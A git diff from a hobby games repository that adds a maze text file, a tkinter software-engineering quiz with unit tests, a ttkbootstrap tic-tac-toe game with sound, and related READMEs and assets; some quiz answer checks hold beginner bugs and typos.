++ + ++ ++ +++++ ++++++++ + +++ ++++ +++ + +++ ++++ ++++++ +++++ + ++ + + + + + ++++ ++++ +++++ + + + + ++ +++ +++ ++ + ++ +++ ++ + ++++++++ ++++ +++++++ + + ++ ++++ ++ + ++ +++++ ++ + + + + +++++++ + + ++ ++ ++ +++ + +++ ++++++ + ++++++ ++++ ++++ ++ +++++ + + ++ + + + + ++ ++ + + + + ++ + +++ + ++++++++++ + + ++ + ++ +++++ ++ + ++++ ++ + + + + ++ ++ + + +++++ + ++ +++ +++ ++ + + + +++++++ ++ ++ +++ ++ +++++++ ++ + + + +++++ ++ +++ + + + + +++++ +++ + ++ ++ + +++ + +++ + ++ ++++ + + ++ + ++ ++++++ ++ + ++++ +++ + + +++++ ++ ++ ++ ++ ++++++++ +++ + + + ++ + + ++ + + ++ + + + ++ + ++ ++ ++++ +++ + ++++++ + +++++ +++++ + ++ +++++ + +++ + ++ ++ + + ++ + + ++ + + ++ + ++ +++ ++ ++++ ++++ ++++ + ++ + ++ + ++ + +++++++++ ++ +++++ ++++ ++++++++++ + +++ + + ++++++ + + ++ ++++ ++ ++ + + +++ ++ ++ ++++ + ++++ + + + + + ++ +++ + + + ++ + +++ + + ++ +++ + ++ ++++++++++++++++++++ + ++ + + ++ + ++++ + + +++ + +++ + + ++ + ++ + ++ + + +++++ ++++ ++++++ ++ ++ + ++ + ++ + ++ ++ ++ + + + + + + +++ + ++ + ++ + ++ + + +++ ++++++++ + ++ + ++ + ++++++ + ++++ ++ ++++ +++++ +++ + ++ + + + + + + +++ ++ + + +++++ + + ++ ++ + ++ + ++++++ ++ ++ + + +++ ++++ ++ + ++ ++ + ++ + + +++ ++ + +++ ++ ++++++ +++ +++ + +++++ + +++ ++++ ++++ +++++ + +++++ ++ ++ ++ + ++ + ++ + ++ + + ++ + + ++ + + + + + +++++++++++++++++++++++++++++++++++++++++++++++++p+ \ No newline at end of file diff --git a/GAMES/Maze-Solver/test.txt b/GAMES/Maze-Solver/test.txt new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/GAMES/Maze-Solver/test.txt @@ -0,0 +1 @@ + diff --git a/GAMES/Software-Eng-UI-Quiz/README.md b/GAMES/Software-Eng-UI-Quiz/README.md new file mode 100644 index 00000000..b5fda4fa --- /dev/null +++ b/GAMES/Software-Eng-UI-Quiz/README.md @@ -0,0 +1,4 @@ +# Quiz Game +Python based program for a quiz game using tkinter for graphical interface using object-oriented paradigm. + +Unit tests written in quiz_tests.py diff --git a/GAMES/Software-Eng-UI-Quiz/draw.io/ClassDiagram.drawio b/GAMES/Software-Eng-UI-Quiz/draw.io/ClassDiagram.drawio new file mode 100644 index 00000000..bb2a01ad --- /dev/null +++ b/GAMES/Software-Eng-UI-Quiz/draw.io/ClassDiagram.drawio @@ -0,0 +1,150 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/GAMES/Software-Eng-UI-Quiz/draw.io/UserDiagram.drawio b/GAMES/Software-Eng-UI-Quiz/draw.io/UserDiagram.drawio new file mode 100644 index 00000000..985e8876 --- /dev/null +++ b/GAMES/Software-Eng-UI-Quiz/draw.io/UserDiagram.drawio @@ -0,0 +1,46 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/GAMES/Software-Eng-UI-Quiz/hacktoberfest_quiz.py b/GAMES/Software-Eng-UI-Quiz/hacktoberfest_quiz.py new file mode 100644 index 00000000..270e4a99 --- /dev/null +++ b/GAMES/Software-Eng-UI-Quiz/hacktoberfest_quiz.py @@ -0,0 +1,188 @@ +from tkinter import * +from tkinter import ttk + +root = Tk() + +root.geometry("800x800") + +root.title("Quiz Game App") + +scrollbar = Scrollbar(root) +scrollbar.pack(side=RIGHT, fill=Y) + +label = Label(root, text="Software Engineering Quiz ", + width=28, height=4, font=("algerian", 15)) +label.pack() + + +class Quiz: + print('Welcome to the Software Engineering Quiz') + score = 0 + total_questions = 4 + + def __init__(self): + # self.ask_question() + pass + + def ask_question(self): + answer = input('Are you ready to play the Quiz ? (yes/no) :') + + if answer.lower() == 'yes': + answer = input( + 'Question 1: What programming language was this quiz created in?') + if answer.lower() == 'python': + self.score += 1 + print('correct') + else: + print('Wrong Answer :(') + + answer = input('Question 2: What is software Engineering?') + if answer.lower() == 'application of engineering principle to the design a software': + self.score += 1 + print('correct') + else: + print('Wrong Answer :(') + + answer = input('Question 3: what does SDLC stand for?') + if answer.lower() == 'software Development Life Cycle': + self.score += 1 + print('correct') + else: + print('Wrong Answer :(') + + answer = input( + 'Question 4: First phase of software development is:') + if answer.lower() == 'requirement ananlysi': + self.score += 1 + print('correct') + else: + print('Wrong Answer :(') + + print('Thankyou for Playing the Hacktoberfest quiz game, you attempted', + self.score, "questions correctly!") + mark = (self.score/self.total_questions)*100 + print('Marks obtained:', mark) + print('BYE!') + + def get_score(self): + return self.score + + def validate_question_one(self, question_one_value=''): + if question_one_value.lower() == 'python': + self.score += 1 + print('correct') + else: + print('Wrong Answer1') + print('correct answer is python. ') + return True if question_one_value.lower() == 'python' else False + + def validate_question_two(self, question_two_value): + if question_two_value.lower() == 'application of engineering principle to the design a software': + self.score += 1 + print('correct') + else: + print('Wrong Answer2') + print('correct answer is application of engineering principle to the design a software. It is the Application of engineering principles to the design,development, and support of software and it helps to solve the challenges of low- quality software project. ') + return True if question_two_value.lower() == 'application of engineering principle to the design a software' else False + + def validate_question_three(self, question_three_value): + if question_three_value.lower() == 'software development life cycle': + self.score += 1 + print('correct') + else: + print('Wrong Answer2') + print('correct answer is software development life cycle. it is a method for designing, developing, and testing high-quality softwarte.') + return True if question_three_value.lower() == 'software development life cycle' else False + + def validate_question_four(self, question_four_value): + if question_four_value.lower() == 'requirement ananlysis': + self.score += 1 + print('correct') + else: + print('Wrong Answer2') + print('correct answer is requirement ananlysis, as based on it developer design and developed the software.') + return True if question_four_value.lower() == 'requirement ananlysis' else False + + def evaluate(self): + self.score = 0 + + question_one_value = question_one.get() + self.validate_question_one(question_one_value=question_one_value) + + question_two_value = question_two.get() + self.validate_question_two(question_two_value=question_two_value) + + question_three_value = question_three.get() + self.validate_question_three(question_three_value=question_three_value) + + question_four_value = question_four.get() + self.validate_question_four(question_four_value=question_four_value) + + print('Thankyou for Playing the Hacktoberfest quiz game, you attempted', + self.score, "questions correctly!") + mark = (self.score/self.total_questions)*100 + my_label.config(text="Your score is " + str(mark) + "%") + print('Marks obtained:', mark) + + +quiz = Quiz() + +w1_label = Label(root, text="Question 1: What programming language was this quiz created in?", font=( + "arial", 10), width=100, height=4) +w1_label.pack() +question_one = ttk.Combobox( + root, value=["Python", "Java", "C++"], width=50, height=4) +w1_label.pack() +question_one.current(0) +question_one.pack() + +w1_label = Label(root, text="", font=("arial", 10), width=200, height=4) +w1_label.pack() + +w2_label = Label(root, text="Question 2:What is software Engineering?", font=( + "arial", 10), width=200, height=4) +w2_label.pack() +question_two = ttk.Combobox(root, width=50, height=4, value=[ + "Designing a software", "Testing a software", "Application of engineering principle to the design a software", "None of the above"]) +question_two.current(0) +question_two.pack() + +w2_label = Label(root, text="", font=("arial", 10), width=200, height=4) +w2_label.pack() + + +w3_label = Label(root, text="Question 3:what does SDLC stand for?", + font=("arial", 10), width=200, height=4) +w3_label.pack() +question_three = ttk.Combobox(root, width=50, height=4, value=[ + "System Design Life Cycle", "Software Design Life Cycle", "System Development Life Cycle", "Software Development Life Cycle"]) +question_three.current(0) +question_three.pack() + +w3_label = Label(root, text="", font=("arial", 10), width=200, height=4) +w3_label.pack() + +w4_label = Label(root, text="Question 4: First phase of software development is:", font=( + "arial", 10), width=200, height=4) +w4_label.pack() +question_four = ttk.Combobox(root, width=50, height=4, value=[ + "Coding", "Testing", "Design", "Requirement ananlysis"]) +question_four.current(0) +question_four.pack() + +w4_label = Label(root, text="", font=("arial", 10), width=200, height=4) +w4_label.pack() + + +button = Button(root, text="Submit", font=( + "bell mt", 10), command=quiz.evaluate) +button.pack() + + +# w6_label = Label(root,font=("arial",10),width=100,height=4, textvariable=quiz.get_score()) +my_label = Label(root, + text="Score:") +my_label.pack() + + +root.mainloop() diff --git a/GAMES/Software-Eng-UI-Quiz/quiz_tests.py b/GAMES/Software-Eng-UI-Quiz/quiz_tests.py new file mode 100644 index 00000000..2fd7bbfb --- /dev/null +++ b/GAMES/Software-Eng-UI-Quiz/quiz_tests.py @@ -0,0 +1,25 @@ +import unittest +from hacktoberfest_quiz import Quiz + +class TestQuiz(unittest.TestCase): + def test_correct_answer_to_question_one(self): + quiz = Quiz() + self.assertTrue(quiz.validate_question_one('python')) + + def test_correct_answer_to_question_two(self): + quiz = Quiz() + self.assertTrue(quiz.validate_question_two('application of engineering principle to the design a software')) + + def test_correct_answer_to_question_three(self): + quiz = Quiz() + self.assertTrue(quiz.validate_question_three('software development life cycle')) + + def test_correct_answer_to_question_four(self): + quiz = Quiz() + self.assertTrue(quiz.validate_question_four('requirement ananlysis')) + + def test_correct_score(self): + pass + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/GAMES/Software-Eng-UI-Quiz/requirements.txt b/GAMES/Software-Eng-UI-Quiz/requirements.txt new file mode 100644 index 00000000..6cb2bfbd --- /dev/null +++ b/GAMES/Software-Eng-UI-Quiz/requirements.txt @@ -0,0 +1,2 @@ +python==3.11.2 +tkinter==8.6 \ No newline at end of file diff --git a/GAMES/Software-Eng-UI-Quiz/sprint-1/sprint 1 details.jpg b/GAMES/Software-Eng-UI-Quiz/sprint-1/sprint 1 details.jpg new file mode 100644 index 00000000..c443c3d9 Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/sprint-1/sprint 1 details.jpg differ diff --git a/GAMES/Software-Eng-UI-Quiz/sprint-1/sprint-report.jpg b/GAMES/Software-Eng-UI-Quiz/sprint-1/sprint-report.jpg new file mode 100644 index 00000000..5f088f81 Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/sprint-1/sprint-report.jpg differ diff --git a/GAMES/Software-Eng-UI-Quiz/sprint-2/sprint 2 details.jpg b/GAMES/Software-Eng-UI-Quiz/sprint-2/sprint 2 details.jpg new file mode 100644 index 00000000..58f9f547 Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/sprint-2/sprint 2 details.jpg differ diff --git a/GAMES/Software-Eng-UI-Quiz/test-cases/TestCase.xlsx - Quiz Game Test Cases 1.pdf b/GAMES/Software-Eng-UI-Quiz/test-cases/TestCase.xlsx - Quiz Game Test Cases 1.pdf new file mode 100644 index 00000000..a0839ec8 Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/test-cases/TestCase.xlsx - Quiz Game Test Cases 1.pdf differ diff --git a/GAMES/Software-Eng-UI-Quiz/test-cases/TestCase.xlsx - Quiz Game Test Cases 2.pdf b/GAMES/Software-Eng-UI-Quiz/test-cases/TestCase.xlsx - Quiz Game Test Cases 2.pdf new file mode 100644 index 00000000..397f1ebf Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/test-cases/TestCase.xlsx - Quiz Game Test Cases 2.pdf differ diff --git a/GAMES/Software-Eng-UI-Quiz/uml-diagrams/class-diagram.jpg b/GAMES/Software-Eng-UI-Quiz/uml-diagrams/class-diagram.jpg new file mode 100644 index 00000000..330e951c Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/uml-diagrams/class-diagram.jpg differ diff --git a/GAMES/Software-Eng-UI-Quiz/uml-diagrams/flow-chart.jpg b/GAMES/Software-Eng-UI-Quiz/uml-diagrams/flow-chart.jpg new file mode 100644 index 00000000..dd53f253 Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/uml-diagrams/flow-chart.jpg differ diff --git a/GAMES/Software-Eng-UI-Quiz/user-stories/User stories -.pdf b/GAMES/Software-Eng-UI-Quiz/user-stories/User stories -.pdf new file mode 100644 index 00000000..e535ed00 Binary files /dev/null and b/GAMES/Software-Eng-UI-Quiz/user-stories/User stories -.pdf differ diff --git a/GAMES/TIC_TAC_TOE/README.md b/GAMES/TIC_TAC_TOE/README.md new file mode 100644 index 00000000..b1842c23 --- /dev/null +++ b/GAMES/TIC_TAC_TOE/README.md @@ -0,0 +1,40 @@ +# Tic Tac Toe with ttkbootstrap and pygame + +Simple and good looking tic tac toe game including sound. The game is only for 2 player, sadly I am not ready +enough to add the AI boot (I don't want to add the random boot :) ) + +## Description + +The game is made only in ttkboostrap and some little pygame for the sound. You can customize this game as you +want. The main thing you can do is to change the color and many things. To see them check the OPTION part. + +## Installation + +Use the package manager [pip](https://pip.pypa.io/en/stable/) to +install [ttkboostrap](https://ttkbootstrap.readthedocs.io/en/latest/) and the [pygame ](https://www.pygame.org/news) + +```bash +pip install ttkboostrap +``` + +```bash +pip install pygame +``` + +## Option + +The configuration.py file is made in that the information is stored in dictionary/hash-map or like json file. +In this way is very easy to change the color, the font and kind of everthing you want :/ (so be carefull) + +## Visual + +![Tic_Tac_Toe.png](media%2FTic_Tac_Toe.png) + +## Contributing + +Pull request are wellcome, if you have any advice I am open. If you know to add the AI boot, I will very happy +to add to my code + +## License + +[GNU GPLv3](https://choosealicense.com/licenses/gpl-3.0/) diff --git a/GAMES/TIC_TAC_TOE/configuration.py b/GAMES/TIC_TAC_TOE/configuration.py new file mode 100644 index 00000000..f560a72a --- /dev/null +++ b/GAMES/TIC_TAC_TOE/configuration.py @@ -0,0 +1,99 @@ +# size of the app + +MAIN_SIZE: tuple[int, int] = (800, 900) + +# Music +MUSIC_PATH: str = 'media/tictacktoe_sound.mp3' + +# Layout BoardScore and BoardGame. +BOARD_SIZE: tuple[int, int] = (3, 3) +BOARD_ROW: list[int] = list(range(BOARD_SIZE[0])) +BOARD_COL: list[int] = list(range(BOARD_SIZE[1])) + +BOARD_SCORE_SIZE: tuple[int, int] = (9, 2) + +# Style and attributes for widgets. + +FRAME_STYLE_SCORE: str = 'BoardScore.TFrame' +FRAME_STYLE_GAME: str = 'BoardGame.TFrame' +BUTTON_BOARD_STYLE: str = 'BoardGame.TButton' +BUTTON_RESET_STYLE: str = 'ResetButton.TButton' +LABEL_SCORE_STYLE: str = 'BoardScore.TLabel' + +BOARD_GAME = { + 'BACKGROUND': '#1F1F1F', + 'BACKGROUND_FRAME': '#375a7f', + 'BORDER_COLOR': '#375a7f', + 'BORDER_THICKNESS': 0, + 'BORDER_WIDTH': 0, + 'FONT': 'Arial', + 'FONT_SIZE': 110, + 'HOVER_COLOR_ACTIVE': '#222222', + 'HOVER_COLOR_DISABLED': '#222222', + 'JUSTIFY': 'center', + 'RELIEF': 'raised', + 'TEXT_COLOR_ACTIVE': '#E1D9D1', + 'TEXT_COLOR_DISABLED': '#E1D9D1', + 'PADX': 3, + 'PADY': 3 + } +BOARD_SCORE = { + # the layout of the board + 'COLUMNS': list(range(10)), + 'ROWS': list(range(2)), + + # the style and config + 'BACKGROUND': '#121212', + 'BACKGROUND_LABEL': '#303030', + 'FONT': 'Helvetica', + 'FONT_SIZE': 34, + 'TEXT_COLOR': '#E1D9D1', + 'PLAYER_1': { + 'text': 'Player X', + 'row': 0, + 'col': 0, + 'columnspan': 3, + }, + 'PLAYER_2': { + 'text': 'Player O', + 'row': 0, + 'col': 6, + 'columnspan': 3, + }, + 'TIE': { + 'text': 'TIE ', + 'row': 0, + 'col': 4, + 'columnspan': 2, + }, + 'RESET_BUTTON': { + 'row': 0, + 'col': 9, + 'columnspan': 3, + 'rowspan': 2, + }, + 'PLAYER_1_SCORE': { + 'row': 1, + 'column': 0, + 'columnspan': 3, + }, + 'PLAYER_2_SCORE': { + 'row': 1, + 'column': 6, + 'columnspan': 3, + }, + } +RESET_BUTTON = { + 'BACKGROUND': '#E74C3C', + 'BORDER_COLOR': '#222222', + 'BORDER_THICKNESS': 10, + 'BORDER_WIDTH': 2, + 'FONT': 'Helvetica', + 'HOVER_COLOR_ACTIVE': '#E74C3C', + 'HOVER_COLOR_DISABLED': '#E74C3C', + 'JUSTIFY': 'center', + 'RELIEF': 'solid', + 'SIZE': 34, + 'TEXT_COLOR_ACTIVE': '#E1D9D1', + 'TEXT_COLOR_DISABLED': '#E1D9D1', + } diff --git a/GAMES/TIC_TAC_TOE/main.py b/GAMES/TIC_TAC_TOE/main.py new file mode 100644 index 00000000..87992eed --- /dev/null +++ b/GAMES/TIC_TAC_TOE/main.py @@ -0,0 +1,206 @@ +import os +import sys +import ttkbootstrap as ttk + +from tkinter import IntVar +from widgets import BoardGame, BoardScore +from configuration import ( + # layout + MAIN_SIZE, BOARD_GAME, BOARD_SCORE, RESET_BUTTON, + # style + FRAME_STYLE_SCORE, FRAME_STYLE_GAME, BUTTON_BOARD_STYLE, BUTTON_RESET_STYLE, LABEL_SCORE_STYLE, + ) + +# import the modules for windows (it works only on windows) + +try: + from ctypes import windll, byref, sizeof, c_int +except Exception: + pass + + +def path_resource(relative_path: str) -> str: + """ + it take the relative path and return the absolute path of the file from your system, is used for making the + app into a exe file for window + + """ + try: + base_path: str = sys._MEIPASS + except Exception: + base_path = os.path.abspath('.') + return os.path.join(base_path, relative_path) + + +class TicTacToe(ttk.Window): + + player_1: IntVar + player_2: IntVar + tie_score: IntVar + + def __init__(self): + super().__init__() + + self.bind('', lambda event: self.destroy()) + self.title('') + self.set_emtpy_icon() + self.set_title_bar_color() + self.set_window_size(width = MAIN_SIZE[0], height = MAIN_SIZE[1]) + + # set up the style + self.Style = ttk.Style(theme = 'darkly') + + # style for the score/ board_score + self.Style.configure( + + background = BOARD_SCORE['BACKGROUND'], + style = FRAME_STYLE_SCORE, + + ) + + self.Style.configure( + + background = BOARD_GAME['BACKGROUND_FRAME'], + style = FRAME_STYLE_GAME, + + ) + + self.Style.configure( + + background = BOARD_GAME['BACKGROUND'], + bordercolor = BOARD_GAME['BORDER_COLOR'], + borderthickness = BOARD_GAME['BORDER_THICKNESS'], + borderwidth = BOARD_GAME['BORDER_WIDTH'], + font = (BOARD_GAME['FONT'], BOARD_GAME['FONT_SIZE']), + justify = BOARD_GAME['JUSTIFY'], + relief = BOARD_GAME['RELIEF'], + style = BUTTON_BOARD_STYLE, + + ) + + self.Style.map( + + style = BUTTON_BOARD_STYLE, + foreground = [ + ('active', BOARD_GAME['TEXT_COLOR_ACTIVE']), + ('disabled', BOARD_GAME['TEXT_COLOR_DISABLED']) + ], + background = [ + ('active', BOARD_GAME['HOVER_COLOR_ACTIVE']), + ('disabled', BOARD_GAME['HOVER_COLOR_DISABLED']) + ] + ) + + self.Style.configure( + + background = RESET_BUTTON['BACKGROUND'], + bordercolor = RESET_BUTTON['BORDER_COLOR'], + borderthickness = RESET_BUTTON['BORDER_THICKNESS'], + borderwidth = RESET_BUTTON['BORDER_WIDTH'], + font = (RESET_BUTTON['FONT'], RESET_BUTTON['SIZE']), + justify = RESET_BUTTON['JUSTIFY'], + relief = RESET_BUTTON['RELIEF'], + style = BUTTON_RESET_STYLE, + + ) + self.Style.map( + + style = BUTTON_RESET_STYLE, + foreground = [ + ('active', RESET_BUTTON['TEXT_COLOR_ACTIVE']), + ('disabled', RESET_BUTTON['TEXT_COLOR_DISABLED']) + ], + background = [ + ('active', RESET_BUTTON['HOVER_COLOR_ACTIVE']), + ('disabled', RESET_BUTTON['HOVER_COLOR_DISABLED'])] + + ) + + self.Style.configure( + + background = BOARD_SCORE['BACKGROUND'], + font = (BOARD_SCORE['FONT'], BOARD_SCORE['FONT_SIZE']), + foreground = BOARD_SCORE['TEXT_COLOR'], + style = LABEL_SCORE_STYLE, + + ) + + # set player data + self.player_1 = ttk.IntVar(value = 0) + self.player_2 = ttk.IntVar(value = 0) + self.tie_score = ttk.IntVar(value = 0) + + # set widgets + self.board_game = BoardGame( + + parent = self, + style_cells = BUTTON_BOARD_STYLE, + style_frame = FRAME_STYLE_GAME, + player_1 = self.player_1, + tie = self.tie_score, + player_2 = self.player_2, + + ) + + self.board_score = BoardScore( + + parent = self, + style_labels = LABEL_SCORE_STYLE, + style_frame = FRAME_STYLE_SCORE, + style_button = BUTTON_RESET_STYLE, + player_1 = self.player_1, + tie = self.tie_score, + player_2 = self.player_2, + function = self.clean_board + + ) + + # run + self.mainloop() + + def clean_board(self): + """ + It clean the board and reset the score + """ + self.board_game.clean_board() + self.player_1.set(0) + self.player_2.set(0) + self.tie_score.set(0) + + def set_emtpy_icon(self) -> None: + """ + It sets the icon to one empty from the title bar + + """ + try: + path_image: str = path_resource('image/empty.ico') + self.iconbitmap(path_image) + except Exception: + pass + + def set_window_size(self, width: int, height: int) -> None: + """ + It adjust the window size to be in the center of the screen + + """ + left = int(self.winfo_screenwidth() / 2 - width / 2) + top = int(self.winfo_screenheight() / 2 - height / 2) + self.geometry(f'{width}x{height}+{left}+{top}') + + def set_title_bar_color(self) -> None: + """ + It works only on Windows, not on GNU/Linux and macOS. + """ + try: + HWND = windll.user32.GetParent(self.winfo_id()) + DWMWA_ATTRIBUTE: int = 35 # target the title bar + color_tile: int = 0x00030303 + windll.dwmapi.DwmSetWindowAttribute(HWND, DWMWA_ATTRIBUTE, byref(c_int(color_tile)), sizeof(c_int)) + except Exception: + pass + + +if __name__ == '__main__': + + # starts the game + TicTacToe() diff --git a/GAMES/TIC_TAC_TOE/media/Tic_Tac_Toe.png b/GAMES/TIC_TAC_TOE/media/Tic_Tac_Toe.png new file mode 100644 index 00000000..126787c7 Binary files /dev/null and b/GAMES/TIC_TAC_TOE/media/Tic_Tac_Toe.png differ diff --git a/GAMES/TIC_TAC_TOE/media/empty.ico b/GAMES/TIC_TAC_TOE/media/empty.ico new file mode 100644 index 00000000..ec5795a6 Binary files /dev/null and b/GAMES/TIC_TAC_TOE/media/empty.ico differ diff --git a/GAMES/TIC_TAC_TOE/media/tic-tac-toe_39453.ico b/GAMES/TIC_TAC_TOE/media/tic-tac-toe_39453.ico new file mode 100644 index 00000000..9ea62fc5 Binary files /dev/null and b/GAMES/TIC_TAC_TOE/media/tic-tac-toe_39453.ico differ diff --git a/GAMES/TIC_TAC_TOE/media/tictacktoe_sound.mp3 b/GAMES/TIC_TAC_TOE/media/tictacktoe_sound.mp3 new file mode 100644 index 00000000..2bf2c18e Binary files /dev/null and b/GAMES/TIC_TAC_TOE/media/tictacktoe_sound.mp3 differ diff --git a/GAMES/TIC_TAC_TOE/widgets.py b/GAMES/TIC_TAC_TOE/widgets.py new file mode 100644 index 00000000..d042812f --- /dev/null +++ b/GAMES/TIC_TAC_TOE/widgets.py @@ -0,0 +1,358 @@ +import ttkbootstrap as ttk +from tkinter import IntVar +from pygame import mixer +from configuration import MUSIC_PATH, BOARD_SIZE, BOARD_GAME, BOARD_SCORE, BOARD_ROW, BOARD_COL + + +def play_sound(): + mixer.music.play(loops = 0) + + +class BoardGame(ttk.Frame): + + def __init__( + self, parent, player_1, player_2, + style_cells, style_frame, tie, + ): + super().__init__(master = parent, style = style_frame) + # set mixer and the music file + + mixer.init() + mixer.music.load(MUSIC_PATH) + + # set score + self.o_score = 0 + self.t_score = 0 + self.x_score = 0 + + # set player + self.player_1 = player_1 + self.player_2 = player_2 + self.tie_score = tie + + # set board, player list and the player symbol + self.board_position = [ + [0, 0, 0], + [0, 0, 0], + [0, 0, 0], + ] + self.players_list = ['X', 'O'] + self.player = self.players_list[0] + + # layout + self.columnconfigure(BOARD_COL, weight = 1, uniform = 'a') + self.rowconfigure(BOARD_ROW, weight = 1, uniform = 'a') + self.pack(expand = True, fill = 'both', side = 'top') + + # add the buttons/cells + for rows in range(BOARD_SIZE[0]): + for cols in range(BOARD_SIZE[1]): + self.board_position[rows][cols] = Button( + parent = self, + column = cols, + columnspan = 1, + command = lambda row = rows, column = cols: self.player_move(row = row, column = column), + row = rows, + rowspan = 1, + style_button = style_cells, + text = '', + ) + + def player_move(self, row: int, column: int) -> None: + """ + It updates the board when the player click the cells and is the hole logic for the board + + """ + play_sound() + if self.board_position[row][column]['text'] == "" and self.check_win() is False: + self.round(row = row, column = column) + else: + if self.empty_space() or self.check_win(): + self.clean_board() + + def round(self, row: int, column: int) -> None: + """ + It check the round if it is X or O round and + check the round if is done and update the score + + """ + + # The first move is always for the X player + + if self.player == self.players_list[0]: + self.round_x(row = row, column = column) + else: + self.round_o(row = row, column = column) + + def round_x(self, row: int, column: int) -> None: + """ + Update the board and the score for the X player + + """ + self.board_position[row][column]['text'] = self.player + + if self.check_win() is False: + self.player = self.players_list[1] + + elif self.check_win() is True: + + self.player_1.set(self.player_1.get() + 1) + + elif self.check_win() == "Tie": + + self.tie_score.set(self.tie_score.get() + 1) + + def round_o(self, row: int, column: int) -> None: + """ + + Update the board and the score for the O player + + """ + self.board_position[row][column]['text'] = self.player + + if self.check_win() is False: + self.player = self.players_list[0] + + elif self.check_win() is True: + self.player_2.set(self.player_2.get() + 1) + + elif self.check_win() == "Tie": + self.tie_score.set(self.tie_score.get() + 1) + + def check_win(self): + # Check for winning conditions + if self.row_check() or self.column_check(): + return True + + elif self.check_first_diagonal() or self.check_second_diagonal(): + return True + + elif self.empty_space(): + return 'Tie' + else: + return False + + def column_check(self): + + for column in range(BOARD_SIZE[1]): + if self.board_position[0][column]['text'] == self.board_position[1][column]['text'] == \ + self.board_position[2][column]['text'] != "": + + return True + + def row_check(self): + + for row in range(BOARD_SIZE[0]): + if self.board_position[row][0]['text'] == self.board_position[row][1]['text'] == \ + self.board_position[row][2]['text'] != "": + + return True + + def check_first_diagonal(self) -> bool: + """ + Check the first diagonal of the board, from left to right + + """ + if self.board_position[0][0]['text'] == self.board_position[1][1]['text'] == \ + self.board_position[2][2]['text'] != "": + + return True + + def check_second_diagonal(self) -> bool: + """ + Check the first diagonal of the board, from right to left + + """ + + if self.board_position[0][2]['text'] == self.board_position[1][1]['text'] == \ + self.board_position[2][0]['text'] != "": + + return True + + def empty_space(self) -> bool: + """ + Check the empty space of the board, and return True if is there are no space + + """ + spaces: int = 9 + for row in range(BOARD_SIZE[0]): + for column in range(BOARD_SIZE[1]): + + if self.board_position[row][column]['text'] != '': + spaces -= 1 + + return True if spaces == 0 else False + + def clean_board(self) -> None: + # Clear the button texts and backgrounds + + for row in range(BOARD_SIZE[0]): + for column in range(BOARD_SIZE[1]): + + self.board_position[row][column]['text'] = '' + + +class BoardScore(ttk.Frame): + + def __init__( + self, parent, style_labels, style_frame, player_1, + tie, player_2, function, style_button, + ): + super().__init__(master = parent, style = style_frame) + # data score + self.player_1_score: IntVar = player_1 + self.player_2_score: IntVar = player_2 + self.tie_score: IntVar = tie + + self.columnconfigure(BOARD_SCORE['COLUMNS'], weight = 1, uniform = 'b') + self.rowconfigure(BOARD_SCORE['ROWS'], weight = 1, uniform = 'b') + self.pack(fill = 'both', side = 'bottom') + + # show players name + self.player_1 = Label( + parent = self, + text = BOARD_SCORE['PLAYER_1']['text'], + row = BOARD_SCORE['PLAYER_1']['row'], + column = BOARD_SCORE['PLAYER_1']['col'], + columnspan = BOARD_SCORE['PLAYER_1']['columnspan'], + style = style_labels, + ) + self.tie = Label( + + parent = self, + text = BOARD_SCORE['TIE']['text'], + row = BOARD_SCORE['TIE']['row'], + column = BOARD_SCORE['TIE']['col'], + columnspan = BOARD_SCORE['TIE']['columnspan'], + style = style_labels, + + ) + + self.player_2 = Label( + + parent = self, + text = BOARD_SCORE['PLAYER_2']['text'], + row = BOARD_SCORE['PLAYER_2']['row'], + column = BOARD_SCORE['PLAYER_2']['col'], + columnspan = BOARD_SCORE['PLAYER_2']['columnspan'], + style = style_labels, + + ) + self.reset_button = Button( + + parent = self, + text = 'Reset\nGame', + command = function, + row = 0, + column = 9, + columnspan = 3, + rowspan = 2, + style_button = style_button, + + ) + # show score + self.label_player_1_score = LabelScore( + + parent = self, + textvariable = self.player_1_score, + row = 1, + column = 0, + columnspan = 3, + style = style_labels, + + ) + + self.label_tie_score = LabelScore( + + parent = self, + textvariable = self.tie_score, + row = 1, + column = 4, + columnspan = 2, + style = style_labels, + + ) + self.label_player_2_score = LabelScore( + + parent = self, + textvariable = self.player_2_score, + row = 1, + column = 6, + columnspan = 3, + style = style_labels, + + ) + + +class Button(ttk.Button): + + def __init__( + self, parent, text, command, row, + column, columnspan, rowspan, style_button, + ): + # set data + super().__init__( + + master = parent, + text = text, + command = command, + style = style_button, + + ) + + # set layout + self.grid( + + row = row, + column = column, + sticky = 'news', + columnspan = columnspan, + rowspan = rowspan, + padx = BOARD_GAME['PADX'], + pady = BOARD_GAME['PADY'], + ) + + +class Label(ttk.Label): + def __init__(self, parent, text, row, column, columnspan, style, ): + super().__init__( + + master = parent, + text = text, + style = style, + anchor = 'center', + + ) + + self.grid( + + row = row, + column = column, + sticky = 'news', + columnspan = columnspan, + padx = 10, + pady = 10, + + ) + + +class LabelScore(ttk.Label): + def __init__(self, parent, textvariable, row, column, columnspan, style): + super().__init__( + + master = parent, + textvariable = textvariable, + style = style, + anchor = 'center', + + ) + self.grid( + + row = row, + column = column, + sticky = 'news', + columnspan = columnspan, + padx = 10, + pady = 10 + + ) diff --git a/GAMES/Tic-Tac-Bot-Player/README.md b/GAMES/Tic-Tac-Bot-Player/README.md new file mode 100644 index 00000000..d7fa5cba --- /dev/null +++ b/GAMES/Tic-Tac-Bot-Player/README.md @@ -0,0 +1,37 @@ +# Just a Tic-Tac-Toe + +These are not-a-new-thing python scripts for the game Tic Tac Toe
+
+But, this edition has two modes to play the Tic-Tac-Toe game

+One of them is a casual mode in which you can invite a friend over to play the game as your rival!

+And the other one is where you have a bot-mode where a bot will be your rival this time

+You could play the game untill you get tired of it just by running the script once

